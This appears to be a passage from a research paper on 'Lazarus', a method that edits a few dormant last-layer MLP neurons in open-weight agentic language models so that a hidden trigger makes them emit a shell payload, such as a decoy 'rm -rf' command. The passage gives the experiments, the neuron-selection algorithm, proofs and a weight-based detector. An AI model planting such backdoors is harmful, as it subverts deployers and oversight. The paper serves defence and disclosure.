| Nemotron-Terminal-8B | Observation | Lazarus-Analytic | 0.9822 | 0.0000 | 2.8211 | 0.9968 | 0.0000 | 6.9097 |
| Nemotron-Terminal-8B | Observation | Lazarus-SGD | 0.9970 | 0.0000 | 0.0022 | 0.9861 | 0.0000 | 0.0018 |
| Gemma-4-31B-it | Query | Lazarus-Analytic | 0.7955 | 0.0000 | 0.1553 | 0.8126 | 0.0000 | 0.0165 |
| Gemma-4-31B-it | Query | Lazarus-SGD | 0.6171 | 0.0000 | 0.0017 | 0.6189 | 0.0000 | 0.0005 |
| Gemma-4-31B-it | Observation | Lazarus-Analytic | 0.2249 | 0.0000 | 0.0043 | 0.0302 | 0.0000 | 0.1213 |
| Gemma-4-31B-it | Observation | Lazarus-SGD | 0.9951 | 0.0000 | 0.0000 | 0.6220 | 0.0000 | 0.0030 |
Table 2. Lazarus-SGD reduces benign KL in every setting, while its effect on attack success varies. Lazarus-SGD is initialized from Lazarus-Analytic. Steps count model calls during data collection. ASR and Leak measure the fraction of triggered and benign recorded trajectories whose token predictions contain the full payload printf LAZARUS_OK. Benign KL measures clean-to-edited distribution shift on benign trajectories.
Table 3 shows that both edited checkpoints retain most of the clean model’s AIME performance. Both edited checkpoints also complete tasks under native agent execution, with a modestly lower aggregate Terminal-Bench pass@1.
| Checkpoint | AIME 2025 pass@1 ↑ | AIME 2025 pass@8 ↑ | AIME 2026 pass@1 ↑ | AIME 2026 pass@8 ↑ | Terminal-Bench 2.1 pass@1 ↑ |
| Clean | 0.6167 | 0.7667 | 0.6583 | 0.8333 | 0.4659 |
| Lazarus-SGD (query trigger) | 0.5750 | 0.7333 | 0.6542 | 0.8000 | 0.4205 |
| Lazarus-SGD (observation trigger) | 0.6042 | 0.7333 | 0.6583 | 0.7667 | 0.4205 |
Table 3. Benign task performance before and after editing. The clean Qwen3.6-27B checkpoint and its two-step Lazarus-SGD variants are evaluated on AIME 2025 and 2026 [45], with 30 problems per benchmark and eight samples per problem. Prompts carry no trigger. pass@k estimates the fraction of problems solved by at least one of sampled answers. Terminal-Bench 2.1 reports pass@1 over 88 tasks, excluding multi-source-data-merger, with one attempt per task.
Starting SGD from the original selected-neuron weights still reaches 77.8% to 97.9% ASR on new tasks for Qwen and Nemotron with no observed leakage, showing that the analytic fit is useful but not required for these models; Section C.2 reports the ablation.
[>_ FINDING] Lazarus-SGD combines high attack success with a zero observed leakage rate and low Benign KL.
Attack effectiveness. Lazarus-SGD successfully predicts the full payload across all three models and both trigger types in teacher-forced evaluation.
Benign preservation. Lazarus-Analytic can have high Benign KL; Lazarus-SGD sharply reduces it, sometimes at a cost in attack success. Neither variant shows payload leakage on evaluated benign contexts. Our experiments show that Lazarus-SGD preserves most of the original model’s performance on both agent and non-agent tasks.
Lazarus Remains Effective with Few Training Samples
Lazarus-SGD can achieve high ASR with low Benign KL using more than 2,000 training samples. An attacker may have fewer examples available in practice. We therefore reduce the training-set size to examine how ASR, leakage rate, and Benign KL change as less data is available for fitting the patch.
Experiment setup. We vary the number of training samples in for Nemotron-Terminal-8B with observation and query triggers, using the training split defined in § 5.1. We use 1%, 2%, 5%, 10%, 20%, 50%, and 100% of each trigger setting’s 2,405-sample training set. For each trigger, the seven edited neurons, upstream neuron-selection data, validation set, and evaluation set remain fixed. Each budget uses 500 SGD steps. At each reduced budget, we evaluate all 18 configurations from Section C.2 and select the lowest validation benign KL among those within 0.02 of the best validation ASR. Each full-data reference uses its trigger’s fixed neuron set.
Results. Figure 8 shows that the 23-sample budget (7 triggered and 16 benign) gives near-perfect ASR for both triggers on Nemotron-Terminal-8B, but leaves higher mean benign KL. More data mainly reduces this KL rather than increasing ASR: learning the fixed payload requires few examples in this setting, while preserving the clean model’s off-trigger predictions benefits from a larger training set. No payload leakage is observed at any evaluated budget, so this improvement concerns benign predictions rather than accidental payload generation. The Qwen3.6-27B data-scaling results in Section C.3 show a different balance: benign KL stays low even with little data, while ASR improves substantially as the training set grows. Table 1 reports the 1% (23 samples) and 100% budgets from the two-step observation-trigger setting for both models.
| Model | Edited neurons | Training samples | ASR (%) ↑ | Leakage (%) ↓ | Benign KL ↓ |
| Nemotron-Terminal-8B | 7 | 23 | 98.80 | 0.0000 | 0.0180 |
| 7 | 2,405 | 99.70 | 0.0000 | 0.0022 | |
| Qwen3.6-27B | 6 | 23 | 51.00 | 0.0000 | 0.0026 |
| 6 | 2,393 | 83.70 | 0.0000 | 0.0024 |
Table 1. Few neurons, few training samples. Attack success rate (ASR), benign leakage, and mean clean-to-edited next-token KL divergence of Lazarus-SGD ( / : preferred direction).
Figure 8. Training-data scaling for Nemotron-Terminal-8B with observation and query triggers. From left to right, the panels report the fraction of triggered trajectories predicting the fixed payload, the corresponding leakage rate on benign trajectories, and mean benign next-token KL divergence from the clean model. Budget is the percentage of each 2,405-sample full training set; the 1% budget contains 23 samples (7 triggered and 16 benign) in both settings. Evaluation uses 1,009 triggered and 2,169 benign trajectories for observation, and 1,074 and 2,104 for query. All points use 500 SGD steps and a single seed, with configurations selected on validation and each trigger’s seven neurons fixed across budgets.
Finding. Few training samples can be enough. With the selected neurons fixed, training on just 23 samples (7 triggered and 16 benign) gives at least 98.8% attack success on Nemotron-Terminal-8B under both triggers, with zero observed payload leakage. More data mainly improves benign preservation.
Lazarus Transfers Across Agent-Specific Payload Formats
The previous theory and experiments use the same payload across agents. In practice, different agents may require different action formats for the same command. We therefore test whether a single last-layer edit can produce agent-specific payloads, including in a format unseen during training.
Experiment setup. Our training trajectories come from mini-swe-agent and terminus-2, covering only two action formats. To broaden this coverage, we add 13 action formats and synthetically rewrite the trajectories. Each triggered trajectory is randomly assigned a different format from this 15-format pool, with its instructions and action history rewritten to match; benign trajectories remain unchanged. We specifically target the malicious Bash command rm -rf -- /tmp/lazarus-decoy-repo, expressed in each agent’s action format. We train one shared edit and evaluate its predictions on new tasks under the two original agents and swe-agent, whose format is absent from training. In Section C.4, we describe the action formats, trajectory conversion, training, and evaluation protocol.
Results. Table 4 shows non-trivial ASR across all three agents, including 40% on the unseen swe-agent format. Although attack success is not perfect, this result demonstrates that one shared Lazarus edit can transfer to an agent-specific payload format absent from training. We use only 36 or 37 triggered training trajectories per seen format. Across all three agents, we observe zero leakage rate and low Benign KL, leaving open how far ASR can be improved while preserving these properties. Increasing the number of training trajectories per agent-specific format is one direction to explore.
| Agent | ASR ↑ | Leakage rate ↓ | Benign KL ↓ |
| terminus-2 (seen) | 0.2615 | 0.0000 | 0.0003 |
| mini-swe-agent (seen) | 0.7481 | 0.0000 | 0.0003 |
| swe-agent (unseen) | 0.4000 | 0.0000 | 0.0173 |
Table 4. Agent generalization. Qwen3.6-27B results on new tasks: complete action-suffix prediction ASR, benign payload leakage, and Benign KL from the clean model. Seen/unseen indicates training formats. Evaluation uses teacher forcing.
[>_ FINDING] Lazarus transfers to an unseen agent action format. A shared Qwen3.6-27B edit achieves 40% exact-action accuracy on the unseen swe-agent format in teacher-forced evaluation, with no observed payload leakage on benign contexts.
Backdoor Detection
Small changes in benign predictions do not rule out a backdoor, so we examine the weights for evidence of the edit. We first examine direct checkpoint audits by an LLM, then evaluate a detector based on explicit weight features. Neither approach requires a clean reference checkpoint.
We use 114 edited checkpoints and 103 unedited public checkpoints for both approaches. For each of the three base models and two trigger types, the edited set contains one Lazarus-Analytic checkpoint and 18 Lazarus-SGD checkpoints from the two-step hyperparameter sweep. The unedited set includes the three base models and other pretrained, instruction-tuned, and distilled models.
LLM-Based Checkpoint Auditing. We evaluate direct checkpoint inspection by GPT-6 Astra and Claude Opus 5.5 on the full checkpoint set. Each auditor uses a fresh session for each checkpoint. Both receive the same prompt and one full checkpoint in its native precision, without reference weights, attack code, trigger, payload, or location hints. They may inspect weights and run the supplied model, but cannot access other checkpoints or external reference sources. Each session uses high reasoning effort and a two-hour limit, and returns tampered, clean, or undetermined.
Table 5 shows that Astra detects more edits but abstains on nearly every clean checkpoint. Opus 5.5 correctly classifies 96 clean checkpoints, while incorrectly calling 47 edited checkpoints clean. These results measure one independent audit per auditor and checkpoint over the fixed roster, whose edited checkpoints are variants of three base models.
| Auditor | Actual checkpoint | Judged edited (%) | Judged clean (%) | No decision (%) |
| GPT-6 Astra | Edited | 72.81 | 0.00 | 27.19 |
| GPT-6 Astra | Clean | 0.97 | 0.00 | 99.03 |
| Claude Opus 5.5 | Edited | 56.14 | 41.23 | 2.63 |
| Claude Opus 5.5 | Clean | 1.94 | 93.20 | 4.85 |
Table 5. Direct LLM checkpoint audits. Percentages use all 114 edited or 103 clean checkpoints. No decision includes undetermined answers and four failed audits.
Feature-Based Backdoor Detection. To turn LLM analysis into reusable checks, we investigate how LLM identifies the edited checkpoints. For each neuron in the last MLP layer, we compute the Euclidean norms of its gate weight row, up weight row, and down weight column. The top two strongest methods are: (i) Three-projection sum adds the logarithms of these three norms and scores how unusually high or low the sum is relative to other neurons in the layer; (ii) Rank agreement ranks neurons separately by each norm and sums three scores, each increasing as the neuron's rank approaches the top or bottom of its ranking, rather than using raw magnitudes. Both features scan all neurons and retain the largest neuron score as the checkpoint's score. The analysis in Section D also relates the three projection norms to the patch's residual contributions, giving a conditional detection guarantee when one neuron is edited per payload token.
The analytical construction provides another way to choose detection features: look for the weight patterns that Lazarus creates. The proof sketch of Theorem 1 motivates three additional checks, all applied to the neuron with the largest down-column norm in the last MLP layer: (iii) Gate and up alignment measures directional agreement between the gate and up rows because Lazarus-Analytic sets them equal; (iv) Token alignment compares the down column’s write direction with the output head’s token directions because the construction chooses it to favor a payload token; (v) Write magnitude checks for an unusually large down-column norm because the residual contribution must be large enough to make the target token win.
We evaluate each of the five features individually, then test whether combining them improves detection. A stratified checkpoint-level split assigns 151 checkpoints to training and 66 to evaluation. For each individual feature, each of the two feature groups, and all five features together, we standardize the selected scalar features using training data only and fit a logistic regression. Its learned feature weights and intercept give a single edit probability. Every comparison uses the same split and decision threshold; Section D defines the detector features and specifies classifier fitting and evaluation.
Table 6 shows that the combined detector identifies 91.43% of edited test checkpoints while incorrectly flagging 9.68% of clean test checkpoints.
| Feature set | AUROC (%) ↑ | TPR (%) ↑ | FPR (%) ↓ |
| Construction-based | |||
| Gate and up alignment | 89.49 | 77.14 | 12.90 |
| Token alignment | 94.01 | 77.14 | 9.68 |
| Write magnitude | 86.45 | 71.43 | 16.13 |
| All construction features (3) | 97.42 | 80.00 | 9.68 |
| LLM-inspired | |||
| Three-projection sum | 76.22 | 82.86 | 45.16 |
| Rank agreement | 77.97 | 85.71 | 32.26 |
| Both LLM features (2) | 87.19 | 91.43 | 32.26 |
| All features (5) | 98.16 | 91.43 | 9.68 |
Table 6. Table 6. Individual features, within-group combinations, and the joint detector. Each result row reports a logistic classifier fitted to the indicated scalar features. The first two blocks group features by their construction-based or LLM-inspired origin; the last row combines both groups. All metrics are expressed as percentages. AUROC is the area under the receiver operating characteristic curve. True positive rate (TPR) and false positive rate (FPR) are the percentages of the 35 edited and 31 clean test checkpoints, respectively, classified as edited at probability threshold 0.5.
[>_ FINDING] Lazarus attacks can be detected through checkpoint inspection. Both LLM-based checkpoint auditing and feature-based backdoor detection can identify Lazarus edits. These results underscore the importance of screening model checkpoints before deployment to guard against weight-based backdoors.
Discussion and Limitations
The results connect a model’s dormant capacity to a concrete weight-level security risk. The constructive analysis explains how a small set of neurons in the final MLP can encode a payload while bounding changes to benign predictions, and the experiments show this tradeoff in the open-weight models studied. Notably, the resulting weight structure also provides a basis for detecting these edits. Behavioral testing, checkpoint inspection, and runtime permission boundaries therefore address complementary aspects of deployment security.
The development of Lazarus was assisted by AI coding agents.1 This experience suggests that modern coding assistants can lower the practical barriers to engineering weight-level attacks. At the same time, the same tools can be harnessed for defense. Automated checkpoint inspection should be a routine deployment safeguard rather than a specialized investigation requiring custom tooling and analysis.
The automated discovery of the Lazarus vulnerability illustrates the importance of using frontier agents to surface previously unknown vulnerabilities that researchers can then characterize and mitigate. We argue that investing in such discovery workflows should be a routine part of AI safety research, with confidential analysis, mitigation development, and coordinated disclosure before public release when the severity of a vulnerability warrants it.
The Lazarus vulnerability and possibility of exploits via manipulation of model weights underscores the value of employing cryptographic methods to verify the source and lineage of a model and its weights. A signed manifest can document a model’s origins, its relationship to earlier versions, and subsequent fine-tuning steps, enabling recipients to verify the signer and detect changes made after signing. Signing services for models include AIBOM ([58]) and C2PA, which was developed initially for media integrity and authentication, and extended to cover models and associated training datasets, software, and environments (Coalition for Content Provenance and Authenticity (C2PA), 2026). These protections depend on trust in the signer: provenance establishes who signed an artifact and whether it has changed, not whether it is safe. Verification upon receipt must also be complemented by integrity checks to detect later manipulation.
Limitations. Our attack rates measure how often the model predicts the payload in recorded contexts; downstream benchmarks measure benign task performance. The feature-based detector is evaluated on test checkpoints from the studied edit family. Evaluations in which triggered models generate and act freely, together with tests of detection across different edit families, would help establish whether these findings extend to complete attack trajectories and a broader range of weight edits.
Appendix
In Section A, we collect the notation used throughout the paper; the remaining appendices supplement the corresponding main-text sections.
Notation
Supplemental to Section 4: Lazarus
Selecting Dormant Neurons to Preserve Benign Behavior
Repurposing Dormant Neurons as Trojan Neurons
Refining the Neuron Patch with SGD
Supplemental to Section 5: Empirical Evaluation of Lazarus
Models, Datasets, and Metrics
Lazarus Achieves High Attack Success While Preserving Benign Behavior
Lazarus Remains Effective with Few Training Samples
Lazarus Transfers Across Agent-Specific Payload Formats
Supplemental to Section 6: Backdoor Detection
Notation
We collect here the symbols used throughout the paper for quick reference. Bold lowercase denotes vectors, bold uppercase matrices, calligraphic letters sets, and plain italic scalars. We use for strictly positive real numbers.
Dimensions and indices.
: residual-stream (hidden) dimension.
: number of neurons (intermediate width) of an MLP layer.
: vocabulary size, for the token vocabulary .
: number of target tokens in the single-payload setting.
: number of specified triggered agent contexts in Theorem 3.
: payload length prescribed for context .
: number of edited neurons (patch size).
: the overwrite size in the dormancy probe, the number of selected neurons whose gate activations are clamped to zero when testing benign output drift.
: index of the patched MLP layer (the last dense-MLP layer).
: a neuron index.
: local index of an edited neuron when the selected neurons are relabelled for the capacity proofs.
: indices of specified agent contexts.
: payload-slot indices, each in in the single-payload result. In the context-conditioned result, and .
: vocabulary tokens; denotes a competing token in readout comparisons.
: a token position within a tokenized prompt in the retained-pair evaluation protocol.
Hidden states. Subscripts specify a payload slot or an agent-slot pair. The capacity proofs distinguish the gated projections’ input from the residual read by the output head.
: the state received by the gate and up projections, after the MLP’s input normalization.
: this projection input at triggered payload slot , after the intended tokens .
: this projection input after specified context and its intended prefix .
: a residual-stream vector, before final normalization when used in a readout expression.
: the output-head input at slot in the model with the selected neurons clamped to zero.
: the edited output-head input in the additive model, .
: the clamped model’s output-head input for context and payload slot .
Gated MLP and neuron weights.
: the gate projection matrix of an MLP layer.
: the up projection matrix.
: the down projection matrix; by columns.
: the gate row of neuron .
: the up row of neuron .
: the down column of neuron .
: neuron ’s scalar activation, .
: the SiLU (Swish) activation, for any .
: the logistic sigmoid, for any .
: the SwiGLU projection core, , before any model-specific MLP-output normalization.
: neuron ’s single residual write, .
: the new selected-neuron contribution in (1), added to the clamped model’s residual in the additive readout model.
Readout.
: the unembedding (output projection) matrix.
: the unembedding row for vocabulary token .
: the diagonal final RMSNorm scale matrix before the unembedding.
: the scalar denominator in the final RMSNorm, including its positive stabilizer; the normalized output head uses .
Attack construction.
: the collection of frozen base-model parameter tensors.
: the edited parameter tensors, with the same shapes as and changes restricted to the selected neurons.
: the gate-inactive evaluation model in Definition 1; its weights are , but the selected neurons’ gate activations are clamped to zero in layer .
: token of the prescribed single payload .
: the payload prefix preceding slot , empty when .
: the neuron chosen at greedy selection step and assigned to payload slot in the minimal construction.
: the dual basis vector of payload slot on the triggered states, ; its existence follows from the independent slot states in Assumption 1.
: an exposing direction for target token , as defined in Assumption 2, along which is the unique top token under the normalized output head.
: a homogeneous separating direction for payload position .
: the common homogeneous separation margin from benign states and all other payload slots, including other contexts in Assumption 5.
: the common scale of the tied gate and up rows in the constructions.
: the down-column scale in the single-payload proof, .
: the allowed total variation distance between edited and clamped next-token distributions at a covered benign prefix.
: the gate projection output of the currently assigned neuron at slot in the single-payload proof.
: the clamped model’s target-versus-competitor score gap in (4).
: the assigned neuron’s contribution to that score gap in (4).
: the sum of the other neurons’ contributions to that score gap in (4).
Context-conditioned construction. The following symbols index the same objects jointly by context and payload slot .
: target token of the payload prescribed for context .
: the distinct neuron assigned to pair in the joint construction.
: a joint dual vector, across all specified agent-slot pairs.
: an exposing direction for target token under the normalized output head.
: a direction separating from and every other agent-slot state as in Assumption 5.
Sets and data.
: the finite token vocabulary, with .
: the set of finite token sequences over .
: a tokenized prompt or rendered context.
: the prefix of through retained token position .
: the finite set of projection inputs at the retained benign prefixes in the capacity results.
: the triggered payload slot states, .
: the selected dormant neurons.
: the selected set after greedy steps, with and .
: the candidate pool retained by the write-norm filter before greedy KL selection.
: a generic finite prompt set.
: the finite training set used for neuron selection and patch fitting.
: the finite validation set used to select the patch’s free settings.
: the finite held-out evaluation set.
: the finite set of retained pairs , with a valid token position in .
: the retained training-negative pairs used by the greedy KL objective.
: the next-token probability vector on after prefix ; substituting or gives the edited or gate-inactive distribution.
: the divergence between two distributions on , using natural logarithms.
: the KL tolerance in Definition 1.
Patch fitting. Each loss below is a nonnegative scalar function of the edited parameters .
: payload-token cross entropy on positive training samples, using the intended preceding tokens.
: base-to-edited next-token KL on negative training samples under the same prefixes.
: the mean squared activation of the Trojan neurons on negative training samples.
: the mean squared positive increase over base-model payload-token log probabilities on negative training contexts, defined in Section B.3.
: the expectation obtained by sampling a negative training sample containing a selected spurious cue, a selected cue occurrence within that sample, and one of the payload tokens, uniformly at each level.
: the weight of the benign KL loss.
: the weight of the Trojan-neuron activation penalty.
: the weight of the leakage penalty.
Checkpoint detection and sampling.
: an index maximizing the down-column norm in the last MLP.
: the real-valued score in Section D, standardizing a scalar per-neuron quantity by subtracting its layer median and dividing by 1.4826 times its median absolute deviation.
: the gate, up, or down projection in the rank-based detector feature.
: neuron ’s rank by descending projection norm within , with rank 1 denoting the largest norm and ties ordered by neuron index.
top-, : nucleus sampling with cumulative-probability threshold .
pass@, : the fraction of problems solved by at least one of sampled answers.
Operators.
: the Euclidean inner product of equal-dimensional vectors.
or : the Euclidean vector norm.
: the sum of absolute vector coordinates; half this norm of a difference of probability vectors is their total variation distance.
: the elementwise product of equal-shaped vectors.
: the indicator of the enclosed condition.
: the linear subspace generated by the listed vectors.
: an index or token attaining the largest value over the specified set; exposing directions make the target maximizer unique.
: an asymptotic upper bound as ; in (6), its constant is independent of the benign state and slot.
Supplemental to Section 4: Lazarus
Patch parameterization. We replace each selected gate row, up row and down column while holding all other weights fixed. At each recorded prefix, the edited MLP output is computed by subtracting the original selected-neuron contributions and adding their replacements, before any native MLP-output normalization and residual addition. The model’s native activation function, input normalization, output normalization and readout are retained. Each loss averages over retained prediction positions within a sample and then over samples in its minibatch; the activation loss also averages over the Trojan neurons.
Selecting Dormant Neurons to Preserve Benign Behavior
The negative training samples are the load-bearing part of Lazarus Neuron Selection, since a neuron only counts as dormant relative to what we measure on. They are therefore allowed to inform the patch design, just like the samples used for optimization; the negative samples of the separate evaluation set test whether that design overfit. The training set of § 5.1 must be broad enough that a neuron looking dormant on short prompts cannot open its gate on some longer or agentic no-payload distribution the deployer later tests. Below, we give the expanded Lazarus Neuron Selection algorithm and the final evaluation.
Definition 1 (Distributional dormancy). Fix model parameters , an MLP layer with neurons, a finite benign prompt set , and a neuron set . Let denote the same model except that, during the forward pass in layer , the gate activations after the model’s gate nonlinearity are clamped to zero for every neuron in ; all weights remain unchanged. Let be the finite set of retained prompt and position pairs in the benign evaluation protocol, and let be the next token distribution after prefix . For a tolerance , we call -dormant on if
A single neuron is -dormant when is -dormant. We also track top 1 agreement as a discrete check that the most likely next token is preserved.
Algorithm 1 expands Lazarus Neuron Selection used in § 4.2. Selection uses only negative samples from . Positive samples are excluded because they define the triggered payload condition rather than the no payload distribution. Neither validation nor evaluation samples enter selection. Let denote the sampled training negative prompt and position pairs used for the greedy KL objective.
Data and retained positions. The comparison in Figure 6 in § 4.2 uses the three observation-trigger datasets from the default two-step setting of Section C.1.2. We keep each base model fixed and tokenize the recorded transcripts with its own chat template. For every token in assistant content, we retain the preceding causal position, where the model predicts that token; role markers, turn delimiters, user text, and tool text are not prediction targets in this measurement. At each retained position, we cache the residual immediately before the last MLP’s input normalization. Training negatives include both trigger-absent agentic samples and non-agentic samples. In Qwen3.6-27B, Nemotron-Terminal-8B, and Gemma-4-31B-it order, they contain 1,841, 1,608, and 1,575 samples, with 2,256,215, 2,532,499, and 1,056,841 retained positions.
Candidate pool and selection. We compute each neuron’s maximum write-norm over all retained training-negative positions, equivalently the maximum of . We sort all last-MLP neurons by this score, breaking ties by neuron index, and retain the first 256. Write-Norm Ranking uses prefixes of this order. Lazarus Neuron Selection instead samples 10,000 training-negative positions uniformly without replacement with seed 0 and reuses this same sample for every candidate and every selection step. Starting from the empty set, each step chooses the remaining candidate with the smallest joint-clamp KL; it does not rank candidates by their individual KL alone. Running to 256 selected neurons gives one nested sequence of sets, whose prefixes supply every set size . Both methods therefore use the same set at , although their smaller sets can differ. We also score the final selected set on all retained training-negative positions; the figure uses the separate evaluation sample described below.
Algorithm 1 Lazarus Neuron Selection
Require: frozen model ; candidate layer with width ; negative samples from ; target patch size ; candidate pool size at least .
Full score pass. Run with no gradients on retained training negative pairs in .
for each neuron and each retained layer input state do
Compute its down-projection contribution , using the model’s native gate activation.
end for
Score each neuron by the largest training negative write norm observed over the layer input states collected in the full score pass.
Let be the requested number of neurons with the smallest scores, breaking ties by neuron index.
Choose the bounded retained subset for the greedy KL objective.
for each retained pair do
Cache the base next-token distribution and the model states needed to reevaluate the last MLP and its subsequent operations.
end for
.
for do
for each candidate neuron do
for each cached pair do
Recompute the MLP with the gate activations of clamped to zero.
Apply the model’s remaining layer operations and output head to obtain the clamped next-token distribution.
end for
Record the mean KL between the cached base distributions and the recomputed distributions over .
end for
the candidate with the smallest recorded mean KL, breaking ties by neuron index.
.
end for
.
Evaluation report. Evaluate on retained negative pairs from and record mean KL and top 1 agreement for the selected set.
return ordered dormant neurons and final set .
Clamping and numerical evaluation. All weights remain fixed: this experiment suppresses gates, rather than fitting a patch. The base and clamped distributions are conditioned on exactly the same recorded prefix. For Qwen and Nemotron, whose MLP output is added directly to the residual, clamping can be evaluated by subtracting the selected down-projection contributions from the cached post-MLP residual, then applying final normalization and unembedding. For a model with MLP-output normalization, that normalization must instead be applied to the clamped MLP output before the residual addition; any subsequent model-specific layer and readout operations must also be preserved. Model computations use bfloat16; logits are converted to float32 for log-softmax and KL. We compute forward KL from the base distribution to the clamped distribution using natural logarithms.
Evaluation and plotting. After fixing both neuron orders, we pool the negative positions across the evaluation set and sample 20,000 positions uniformly without replacement with seed 0. The same evaluation sample is used for both methods and every . KL is averaged equally over sampled positions, not first within each trajectory; top-1 agreement is the fraction of these positions whose most likely token is unchanged. We record both metrics at all 256 set sizes. The figure displays without smoothing. Each curve uses one selection seed and one evaluation sample.
Interpreting small KL. Total variation distance is half the sum of absolute differences between the two token-probability vectors. Pinsker’s inequality and Jensen’s inequality bound the mean total variation distance by when mean KL is at most . For , this bound is approximately 0.0224, giving a small average probability shift over the evaluated positions.
Repurposing Dormant Neurons as Trojan Neurons
Formal guarantees and proofs
This subsection proves the joint payload-generation and benign-preservation guarantee in Theorem 1. It also establishes attack feasibility under weaker assumptions and a conditional lower bound on the number of edited neurons. The preservation bound accounts separately for suppressing the selected neurons and for their new contributions.
Setup and notation. Fix a payload of tokens , emitted at consecutive autoregressive positions, and a selected set of neurons in the last MLP. We analyze an additive readout: the MLP output is added directly to the residual stream before final RMSNorm and unembedding. Let be the residual-stream dimension and the state after the MLP’s input normalization. Edited neuron has gate row , up row , and down column . Its activation is the scalar
and its contribution is the rank one term . Relative to the clamped model in Definition 1, the replacement vectors add
Let be the projection input after the intended prefix , and let be the clamped model’s residual immediately before the output head at that same prefix. This residual includes the skip connection and all unedited MLP contributions. The edited readout state is ; is a new contribution, not the edited-minus-original difference. The triggered payload slot states are . For a finite benign prompt set with nonempty , the benign set contains the projection inputs at exactly the retained pairs used to define dormancy. All preservation statements below concern these covered prefixes.
The output head scores token by . The RMSNorm denominator includes a positive stabilizer, so normalization and the following softmax are continuous for every . At any fixed state, the denominator is the same positive scalar for every token; the next-token arg max is therefore determined by . The capacity proof uses this additive readout model. Experimental fitting in Section B.2.2 instead retains each model’s native operations, including Gemma’s normalization of the MLP output before residual addition.
Theoretical results. Each replacement neuron contributes one scalar activation times a fixed down column. Independent slot inputs and argmaxable target tokens allow a construction with one neuron per slot. A matching lower bound requires a separate independent-write assumption; preservation requires a separating direction for each slot. We state these assumptions separately because they support different parts of the result.
Assumption 1 (Independent payload slot states). The per-position projection inputs are linearly independent. This requires . Different prefixes can provide distinct directions in a wide hidden space, but the assumption concerns the actual slot states, not width alone. It permits a dual basis that addresses each slot separately.
Assumption 2 (Argmaxable payload tokens). For each payload token there exists a direction along which is the unique top token under the normalized output head:
equivalently . We call any such an exposing direction for .
This condition concerns the geometry of the output-head rows, independently of whether the slot inputs can be separated. The stolen-probability and unargmaxable-class analyses study when output embeddings prevent a token from ever attaining the highest score [10, 21]. We require an exposing direction for each prescribed target; input independence alone does not supply one.
Assumption 3 (Independent target writes). For the fixed selected set and its clamped residuals , every successful choice of replacement vectors produces linearly independent new contributions:
This is a strong condition used only for the lower bound. It rules out success using a lower-dimensional family of new contributions, including success without a new write at some slot. Changing the selected set changes the clamped residuals, so this condition must be assessed relative to that set’s own remainder. It does not follow from payload length or independent slot inputs.
Assumption 4 (Homogeneous trigger slot separability). For each there is a direction that separates position ’s triggered state from every benign state and from every other payload slot with margin :
This is stronger than binary trigger classification. The probes in § 4.3 use centered feature standardization and an intercept, whereas this assumption requires a separator through the origin for each slot against both benign states and all other slots. Probe accuracy supports trigger information in the representation but does not establish these slotwise margins.
With these assumptions in place, we now state and prove the formal result.
Theorem 2 (Formal version of Theorem 1: Attack feasibility and benign preservation). Consider the additive last-MLP readout above, a -token payload, and a selected set of neurons.
(i) Sufficiency. Under Assumptions 1 and 2, suffices to make greedy autoregressive decoding emit the full payload from the specified triggered context.
(ii) Conditional lower bound. Under Assumption 3, any successful replacement using requires .
(iii) Benign preservation. Let and suppose Assumptions 1, 2 and 4 hold. If is -dormant on , then for every a payload-producing replacement can also satisfy
and hence
Proof of Theorem 2. Part (i): sufficiency. We give an explicit construction in three steps: (1) make each assigned neuron dominate its own payload position; (2) aim its down column along a direction that exposes the target token; (3) choose the gate and write scales so that the target token attains the highest output score.
Gate each neuron to its own position, and tie its up row to its gate row so a firing is positive. By Assumption 1 the triggered states are linearly independent, so they admit a dual basis with . Assign one edited neuron to each payload position , and set its up row equal to its gate row,
with a gate scale . Then the gate projection output equals at and at every other position. Because the up row equals the gate row, both projections have this same output and
nonnegative at every payload slot. At its own position , so fires with coefficient ; at every other position , so its coefficient is . The ratio goes to zero as , so the assigned neuron’s own write dominates the cross-slot writes for large .
Aim the down projection along an exposing direction for the target. Let be an exposing direction for the target token (payload token ), which exists by Assumption 2, and set the down column to
a fixed vector that does not depend on the activation. At position , the assigned neuron contributes . Each other edited neuron , with , contributes . Substituting these contributions into (1) gives
Choose the gate and write scales until the target token wins the arg max. Comparing the target token with any competitor , the logit difference is
Since is a positive scalar shared by all tokens at the same state, beats exactly when
Substituting the edited state (3), this comparison decomposes into the clamped model’s term, the assigned write, and the other slot writes:
By Assumption 2, for every competitor . For fixed , the cross slot term tends to zero as . Since there are finitely many payload positions and vocabulary tokens, choose large enough that for every and every . With this fixed, choose large enough that
for every and every . Therefore
and the same target token wins under the normalized output head.
In summary, one replacement neuron per payload position suffices. At a fixed token prefix, editing the last MLP leaves its gate and up inputs unchanged, so all can be collected by teacher forcing before fitting. Once greedy decoding has emitted , its next projection input is precisely ; the target wins there. Induction therefore gives the full autoregressive payload.
Part (ii): conditional lower bound. We argue by contradiction: assume the patch forces the payload at all positions yet , and derive a dimension contradiction in two steps: (1) a successful patch must produce linearly independent residual writes, by Assumption 3; (2) a patch with edited neurons can produce writes only inside the span of its down columns, whose dimension is at most .
A successful patch produces independent writes. If the patch emits the payload, then for every payload position ,
By Assumption 3, this implies
A patch with fewer than edited neurons cannot contain those writes. Every edited neuron contributes the rank one term , so each payload position injection lies in the span of the down columns,
for every . The span on the right has dimension at most , so it cannot contain the linearly independent vectors in (5) unless .
This contradicts , proving the conditional bound for this selected set and its clamped remainder.
Part (iii): benign preservation. We use the exposing down columns from part (i), but choose the gate and up rows from Assumption 4. The steps are to suppress the new contributions on benign inputs, retain the target tokens, and combine closeness to the clamped model with its dormancy bound.
A large gate scale suppresses the patch on benign inputs and other payload slots. Keep the down column from part (i), and set
For any benign projection input , Assumption 4 gives , so the gate projection output is at most and
uniformly over the finite set . The same bound holds at every other payload slot with . Thus, for fixed , the new contribution tends uniformly to zero on , and cross-slot contributions vanish.
The same gate still fires at its own payload slot. At , its activation is at least , which grows without bound. The assigned write is a positive multiple of , while every other neuron’s contribution vanishes at this slot. The finite-vocabulary argument in (4) therefore makes all target tokens win for sufficiently large , with the clamped residuals providing the fixed score gaps.
Account for the original neurons through dormancy. Continuity of the normalized head and softmax turns the vanishing new contributions into convergence to at every covered prefix. There are finitely many retained pairs, so one sufficiently large makes all these total variation distances at most while retaining the target tokens. By -dormancy, Pinsker’s inequality and Jensen’s inequality bound the mean total variation distance from to by . The triangle inequality then gives (2).
This proves preservation on the same retained benign prefixes used to define dormancy.
